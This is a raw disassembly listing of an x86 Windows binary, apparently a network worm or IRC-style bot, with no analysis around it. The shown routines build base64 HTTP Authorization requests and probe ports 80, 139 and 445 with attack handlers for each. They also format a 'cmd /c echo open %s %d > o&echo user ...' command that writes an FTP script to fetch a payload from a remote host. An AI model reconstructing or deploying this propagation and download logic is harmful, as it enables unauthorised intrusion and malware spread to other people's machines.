		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 2660F23h
		nop


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
